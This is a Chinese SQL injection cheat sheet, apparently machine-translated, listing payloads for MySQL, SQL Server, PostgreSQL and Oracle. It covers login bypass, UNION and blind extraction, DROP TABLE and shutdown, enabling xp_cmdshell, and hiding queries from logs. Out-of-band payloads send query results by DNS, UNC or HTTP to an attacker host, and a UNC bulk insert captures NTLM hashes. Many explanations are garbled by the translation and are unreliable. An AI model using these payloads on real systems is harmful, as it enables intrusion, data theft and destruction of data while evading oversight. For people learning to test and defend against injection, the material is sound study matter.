sql注入备忘录资源 sql注入笔记

在这个SQL注入备忘录资源中,你可以找到详细的SQL注入漏洞技术的许多不同的变体,本次sql注入备忘录资源主要是给经验丰富的渗透测试人员以及那些刚刚开始学习漏洞挖掘的新手做一个参考.

[在本文中,用下面开头的第一个英文大写表示这个数据库]
M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : 其它类型的数据库

例如:
(MS) 意思是 : MySQL 和 SQL Server .
(M*S) 意思是 : 仅在某些版本的MySQL或特殊条件下,请参阅相关说明和SQL Server

目录列表:

语法参考,攻击示例和SQL注入攻击的奇淫技巧.
行注释
SQL注入攻击样本
内联注释
经典内联SQL注入攻击样本案例
MySQL版本检测攻击示例
堆叠查询
语言/数据库堆表查询支持
关于MySQL和PHP
堆叠SQL注入攻击样本
If语句
MySQL If语句
SQL Server If语句
If语句的SQL注入攻击示例
使用整数
字符串操作
字符串连接
不带引号的字符串
基于十六进制的SQL注入示例
字符串修改&相关
联合注入
UNION——解决语言问题
绕过登录屏幕
使xp_cmdshell在SQL Server 2005
发现在SQL Server数据库结构
快的方法基于从错误中提取数据的SQL注入SQL Server
盲注
掩盖行踪,擦除痕迹
额外的MySQL的笔记
二阶SQL注入
OOB通道的攻击

语法参考,攻击示例和SQL注入攻击的奇淫技巧.
结束/评论/意见
行注释
评论其他查询。
线的评论通常用于忽略其他查询所以你不必处理修复语法

-- (SM) 
DROP sampletable;-- 
# (M) 
DROP sampletable;#
行注释SQL注入攻击示例
Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
#这将把你记录为管理员用户,因为SQL查询的其余部分将被忽略。

内联注释

评论其他查询不关闭它们 或者您也可以使用 绕过黑名单 、删除空间、模糊和确定数据库版本。

/*Comment Here*/ (SM)
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL */ (M) 

这是一个特殊的语法MySQL示例。 它可以完美的检测MySQL版本。 如果你把一个代码放到这个评论中,它只会在MySQL中执行。 还可以在服务器较高版本中使用这个语法来执行一些代码 。 

SELECT /*!32302 1/0, */ 1 FROM tablename

经典内联SQL注入攻击样本案例

ID: 10; DROP TABLE members /* 
10; DROP TABLE members --             #简单的排除掉一些不想查询的东西
SELECT /*!32302 1/0, */ 1 FROM tablename    #如果MySQL版本高于3.23.02,将引发除以0的错误

MySQL版本检测攻击示例

ID: /*!32302 10*/
ID: 10        #如果MySQL版本高于3.23.02你会得到的相同的结果.
SELECT /*!32302 1/0, */ 1 FROM tablename      #如果MySQL版本高于3.23.02,将引发除以0的错误

堆叠查询

在一个事务中执行多个查询 。 这是非常有用的,在每一个注入点上,特别是在SQL Server应用程序中。

; (S) 
SELECT * FROM members; DROP members--

语言/数据库堆叠查询支持表

绿色: 支持, 深灰色的: 不支持, 白色: 未知的

sql注入备忘录资源 sql注入笔记

关于MySQL和PHP; 
澄清一些问题; 
PHP, MySQL不支持堆叠查询 ,Java不支持堆叠查询( 我相信对甲骨文来说,不太确定对其他数据库 )。 通常MySQL数据库层的支持堆叠查询,而是因为大多数的配置是不可能执行另一个查询在php MySQL应用程序或者MySQL客户端支持这一点,不太清楚。 谁能澄清吗?

堆叠SQL注入攻击示例
ID: 10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--   #正常的SQL查询后将运行删除成员SQL语句

If语句

基于一个if语句得到响应。 这是 SQL盲注的关键点之一 ,也可以是非常有用的测试简单的东西盲目和 准确地 

MySQL If语句

IF(condition,true-part,false-part) (M) 
SELECT IF(1=1,'true','false')

SQL Server If语句

IF condition true-part ELSE false-part (S) 
IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If语句

BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END; (O) 
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If语句

SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If语句的SQL注入攻击示例
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S) 
#如果当前登录用户不是 “sa”或“dbo” ,这将不会报错.

使用整数

这是非常有效的绕过方式, magic_quotes()和类似的过滤器 ,甚至waf都可以绕过.

0xHEXNUMBER (SM)      #你可以编写这样的十六进制
SELECT CHAR(0x66) (S) 
SELECT 0x5045 (M)     #这不是一个整数,这是一个十六进制字符串
SELECT 0x50 + 0x45 (M)   #现在这是整数

字符串操作

字符串相关的操作。 这些构造sql注入不使用任何引号,绕过任何黑名单或确定后端数据库可能非常有用 .

字符串连接

+ (S) 
SELECT login + '-' + password FROM members
|| (*MO) 
SELECT login || '-' || password FROM members

*关于MySQL“| |”; 

如果mysql在ansi模式下运行,它会正常工作,否则mysql会接受它为“logical operator”,它将返回O。更好的方法是在MySQL中使用concat()函数。

CONCAT(str1, str2, str3, ...)(M)
连接提供的字符串
SELECT CONCAT(login, password) FROM members

不带引号的字符串

这些是使用字符串的一些直接方法,但始终可以使用char()(MS)和concat()(M)生成不带引号的字符串。

0x457578(M)  #字符串的十六进制表示法
SELECT 0x457578   #这将在MySQL中被做为字符串运行

在mysql中,生成字符串十六进制表示的简单方法就是使用这个 :

SELECT CONCAT('0x',HEX('c:\boot.ini'))

在mysql中使用concat()

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))(M)   #这将返回“KLM”
SELECT CHAR(75)+CHAR(76)+CHAR(77)(S)   #这将返回“KLM”
SELECT CHR(75)||CHR(76)||CHR(77)(O)   #这将返回“KLM”
SELECT (CHaR(75)||CHaR(76)||CHaR(77))(P)   #这将返回“KLM”

基于十六进制的SQL注入示例

SELECT LOAD_FILE(0x633A5C626F6F742E696E69)(M)   #这将会显示 C:\boot.ini  的内容

字符串修改&相关操作

ASCII () (SMP) 
SELECT ASCII('a')   #返回最左边字符的ASCII字符值。a必须具有用于盲SQL注入的函数。
CHAR()(SM)  #转换一个ASCII整数
SELECT CHAR(64)

联合注入

使用UNION,你可以执行跨表的SQL查询。基本上,你可以为所欲为的查询以另一个表返回记录。

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members   #这将合并来自新闻表和成员表的结果,并返回所有结果

另一个例子:

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION——解决语言问题

当利用union注射有时你会出现错误,因为不同的语言设置( 表设置,字段设置,结合表/ db设置等),下面这些函数是非常有用的,对于解决这种问题。 虽然这是罕见的,但是如果你处理日语,俄语,土耳其语时应该用得上.

fieldCOLLATESQL_Latin1_General_Cp1254_CS_AS      #针对SQL Server (S) 
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
Hex()     #针对MySQL (M)中的每一个可能的问题

绕过登录屏幕限制 (SMO+)

SQL 注入 101, 登录技巧

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--           #作为不同的用户登录(SM *) 

注:MySQL的旧版本不支持联合查询

绕过第二MD5散列检查登录屏幕

如果应用程序是首先得到返回的记录用户名,然后比较MD5密码提供的MD5那么你需要一些额外的技巧来欺骗程序绕过身份验证。 你可以联合提供的结果与一个已知的密码和MD5哈希密码。 在这种情况下,应用程序将比较你的密码和你提供的MD5哈希代替MD5从数据库。

绕过MD5散列检查示例(MSP)

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'    #用户名
1234   #密码 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

通过报错—找到列名称(S)

 HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --

在select中发现列号按顺序可以加快SQL注入过程。 ORDER BY (MSO+)

ORDER BY 1--
ORDER BY 2--
ORDER BY N--   #一直往前走直到出错。错误意味着你找到了所选列的数目

数据类型、联合等


提示: 由于图像相似、字段类型不明确,请始终使用“与所有项合并”。默认情况下,联合尝试获取具有distinct的记录。
要从左表中除去不需要的记录,请使用-1或在查询开始时搜索任何不存在的记录(如果注入在何处)。如果一次只能得到一个结果,这可能很关键。
在大多数数据类型的联合注入中使用空值,而不是尝试猜测字符串、日期、整数等。
在盲目的情况下要小心,也许你能理解错误来自数据库或应用程序本身。因为像ASP.NET这样的语言在尝试使用空值时通常会抛出错误(因为开发人员通常不希望在用户名字段中看到空值)

正在查找列类型:

' union select sum(columntofind) from users-- (S) 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 

如果没有出现错误,则表示列是数字

也可以使用Cube()或Currter()

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-  #没有错误语法是正确的。使用MS SQL Server进程。
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-  #没有错误——第一列是整数。
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --  #错误!-第二列不是整数。
11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-  #没有错误-第二列是一个字符串。
11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-     #错误!-第三列不是整数.
...........
Microsoft OLE DB Provider for SQL Server error '80040e07' 
Explicit conversion from data type int to image is not allowed.. 

在合并目标错误之前,将得到 convert() 错误!因此,从 convert() 开始,然后联合

简单插入(MSO)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

有用的函数/信息收集/存储过程/批量SQL注入注释

@@version(ms)
数据库版本和SQL Server的更多细节。这是常量。您可以像任何其他列一样选择它,您不需要提供表名。此外,可以使用INSERT、UPDATE语句或函数。

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

大容量插入(S)

将文件内容插入到表中。如果你不知道网络应用的内部路径,你可以读IISIIS 6 only)元数据库文件%StrutReal%%\Stult32 \InSrv\Meta abase.xml然后在其中搜索以确定应用路径。

  1. 创建表FO(行VARCHAR(8000))
  2. 从’C:\INETPUB\wwwStudio\Logial.asp中批量插入Foo
  3. 删除临时表,并重复另一个文件。

BCP (S)

编写文本文件。使用此函数需要登录凭据。

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

SQLServer中的VBS、WSH 由于ActiveX支持,可以在SQLServer中使用VBS、WSH脚本。

declare @o int 
exec sp_oacreate 'wscript.shell', @o out 
exec sp_oamethod @o, 'run', NULL, 'notepad.exe' 
用户名:声明;@ O.int Excel SPOOACRATE“WScript .shell”,“O-OUT Excel SPOOOMEDOD”O,“Run”,NULL,“No.Po.exe”

执行系统命令XPYCMCDS壳(s)

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'  #众所周知的窍门,默认情况下它被禁用SQL Server 2005。你需要有管理员权限。
EXEC master.dbo.xp_cmdshell 'ping '  #简单的ping检测(配置防火墙或嗅探器在启动之前识别请求)

不能直接从错误或联合或其他东西读取结果

SQL Server中的一些特殊表

master..sysmessages   #错误信息
master..sysservers    #连接服务器

2000和20005的 口令(密码) 都可以是可破解的,它们使用非常相似的散列算法。

masters..sysxlogins   #SQL Server 2000
sys.sql_logins        #SQL Server 2005

SQLServer的更多存储过程

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’

3.管理服务(xp_servicecontrol)
4.Medias (xp_availablemedia)
5.ODBC资源(xp_enumdsn)
6.登录模式xp_loginconfig)
7.创建CAB文件(xp_makecab)
8.域枚举(域枚举)(xp_ntsec_enumdomains)
9.Process Killing (需要PID(xp_terminate_process)
10.添加新程序实际上你可以执行任何你想要的)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
11.将文本文件写入UNC或内部路径( sp_makewebtask )

散列注释

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) –http://msdn2.microsoft.com/en-us/library/ms190312.aspx

在SQL Server INSERT查询中不能使用子选项。

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

如果注入有时间限制你可以评论或使用union注入

关闭SQLServer(s)

当你真的生气的时候,';shutdown --

在SQL Server 2005中启用xp_cmdshell 

默认情况下,在SQLServer 2005中禁用xp_cmdshell 和其他潜在危险的存储过程。如果您有管理员访问权限,则可以启用这些访问权限。

EXEC sp_configure 'show advanced options',1 
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 
RECONFIGURE

在SQL Server中查找数据库结构(S)

获取用户定义表

SELECT name FROM sysobjects WHERE xtype = 'U'

获取列名

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

移动记录(S)

修改和使用NOT INNOT EXIST
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)——非常好的一个

使用奇淫技巧
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int 

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

SQLServer中基于错误的SQL注入数据提取的快速方法

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

详细条款:基于错误的SQL注入提取数据的快速方法

在MySQL中查找数据库结构(m)

获取用户定义表

SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

获取列名

SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

在Oracle(o)中查找数据库结构

获取用户定义表

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

获取列名

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

SQL盲注

关于Blind SQL

在一个相当好的生产应用中您无法看到页面上的错误响应。因此,不能通过联合攻击或基于错误的攻击来提取数据。必须使用盲SQL注入攻击来提取数据。有两种盲SQL注入。

正常Blind您无法在页面中看到响应,但仍然可以根据响应或HTTP状态代码确定查询的结果。
完全Blind在任何类型的输出中,你都看不出有什么不同。这可以是一个测井函数或类似的注入。但并不常见。

在正常的百叶窗中,你可以使用if语句或滥用注入中的查询一般容易在完全的百叶窗中,你需要使用一些等待功能并分析响应时间。为此你可以使用等待延迟’0:0:10 ‘在SQLServer中,基准标记()和sleep(10)在MySQL中,pg_sleep(10)在PostgreSQL中,以及Oracle中的一些PL/SQL技巧。

实数和复杂的盲SQL注入攻击样本

这个输出来自于一个真正的私有盲SQL注入工具,同时利用了SQL Server后端应用程序和枚举表名。此请求对第一个表名的第一个字符进行了处理。由于自动化的原因,SQL查询有点复杂。在本文中,我们试图通过二进制搜索算法来确定字符的ASCII值。

真的错误的标志标记查询返回true或false。

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

既然两者都最后2个查询失败我们清楚地知道表名的第一个字符。ASCII值为80,这意味着第一个字符是“P”。。这是利用二进制搜索算法开发盲SQL注入的方法。另一种众所周知的方法是逐位读取数据。两者在不同的条件下都能有效。

为盲SQL注入攻击创建数据库等待/休眠

首先,如果这是真的盲目,否则只需使用1/0种风格的错误来识别差异。第二,使用次数超过20-30秒时要小心。数据库API连接或脚本可以超时。

等待延迟时间

这就像睡眠,等待指定的时间。CPU安全的方式使数据库等待。

WAITFOR DELAY '0:0:10'--

同样,你可以使用这样的分数,

WAITFOR DELAY '0:0:0.51'

真实世界样本

我们是“SA”吗?
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID =1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--

基准标记(m)

基本上,我们滥用这个命令让MySQL稍稍等待。小心,你会消耗Web服务器限制这么快!

BENCHMARK(howmanytimes, do this)

真实世界样本

  • 我们是root吗?woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • MySQL中存在校验表
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

PGY睡眠(秒)(P)

睡眠供应秒。

SELECT pg_sleep(10); #睡眠10秒

睡眠(秒)(m)

睡眠供应秒。

SELECT sleep(10); #睡眠10秒

接收消息(O)

睡眠供应秒。

(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)

{INJECTION}= You want to run the query.如果条件属实,将在10秒后回复。如果是假的,将延迟一秒。

覆盖你的足迹

SQLServer – SPAX密码日志旁路(S)

出于安全原因,SQL Server不记录包含SPI密码的查询(!)因此,如果向查询添加SPY密码,它将不在SQLServer日志中(当然还会出现在Web服务器日志中如果可能的话,尝试使用POST

清除SQL注入测试

这些测试对于盲SQL注入和无声攻击来说是很好的。

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book
    1. product.asp?name=Bo'%2b'ok
    2. product.asp?name=Bo' || 'ok (OM)
    3. product.asp?name=Book' OR 'x'='x

额外的MySQL注释

  • 子查询只运行MySQL 4.1
  • 用户
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
  • SELECT ... INTO DUMPFILE
    • Write query into anew file无法修改现有文件
  • UDF函数
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • 管理哈希的第一个字节
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • 读取文件
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL载入数据
    • 默认情况下,它不可用!
      • create table foo( line blob ); 
        load data infile 'c:/boot.ini' into table foo; 
        select * from foo;
  • MySQL中的更多时间
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); 
    枚举数据,猜测蛮力
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

潜在有用的MySQL函数

  • MD5()
    MD5 Hashing
  • SHA1()
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS()
    压缩数据,可以在盲SQL注入中的大二进制读取中很好。
  • ROW_COUNT()
  • SCHEMA()
  • VERSION()
    等同于@@version

二阶SQL注入

基本上,您将SQL注入到某个地方,并期望它在另一个动作中未被过滤。这是常见的隐藏层问题。

Name :' + (SELECT TOP 1 password FROM users ) + ' 
Email : xx@xx.com

如果应用程序在不安全的存储过程或函数、进程等中使用Name字段,那么它将插入第一个用户密码作为您的姓名等。

强制SQL Server获取NTLM散列

此攻击可以帮助您获得目标服务器的SQLServer用户的Windows密码,但可能您的入站连接将防火墙。可以是非常有用的内部渗透测试。我们强制SQLServer连接我们的Windows UNC共享,并用CAAIN和阿贝尔这样的工具捕获数据NTLM会话。

来自UNC共享的大容量插入
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

检查大容量插入引用,了解如何使用大容量插入。

带外信道攻击

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    使DNS解析请求为{注销}。

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    使DNS解析请求为{注册表}。

    {INJECTION} = You want to run the query.

mysql

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    向No.SoC发出NBNS查询请求/ DNS解析请求
  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    将数据写入共享文件夹/文件{INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    嗅探应用程序将保存结果
  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    结果将保存在HTTP访问日志中。
  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    您需要嗅探DNS解析请求到您的HooSt.com。
  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    您需要嗅探DNS解析请求到您的HooSt.com。{INJECTION} = You want to run the query.

脆弱性分类和严重性表

分类id/严重程度
PCI v3.16.5.1
PCI v3.26.5.1
OWASP 2013A1
CWE89
CAPEC66
WASC19
HIPAA164.306(a), 164.308(a)
CVSS 3评分
基地10(高危)
时间的10(高危)
环境10(高危)
向量串
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

from